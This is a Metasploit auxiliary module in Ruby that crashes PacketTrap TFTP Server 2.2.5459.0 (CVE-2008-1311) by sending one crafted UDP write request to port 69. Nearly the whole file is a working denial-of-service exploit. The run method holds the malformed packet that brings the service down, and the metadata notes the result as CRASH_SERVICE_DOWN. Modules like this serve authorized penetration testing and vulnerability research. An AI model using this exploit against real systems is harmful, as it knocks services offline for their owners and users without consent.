##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Udp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PacketTrap TFTP Server 2.2.5459.0 DoS',
        'Description' => %q{
          The PacketTrap TFTP server version 2.2.5459.0 can be
          brought down by sending a special write request.
        },
        'Author' => 'kris katterjohn',
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2008-1311'],
          [ 'OSVDB', '42932'],
          [ 'EDB', '6863']
        ],
        'DisclosureDate' => '2008-10-29',
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN],
          'SideEffects' => [],
          'Reliability' => []
        }
      )
    )

    register_options([Opt::RPORT(69)])
  end

  def run
    connect_udp
    print_status('Sending write request...')
    udp_sock.put("\x00\x02|\x00netascii\x00")
    disconnect_udp
  end
end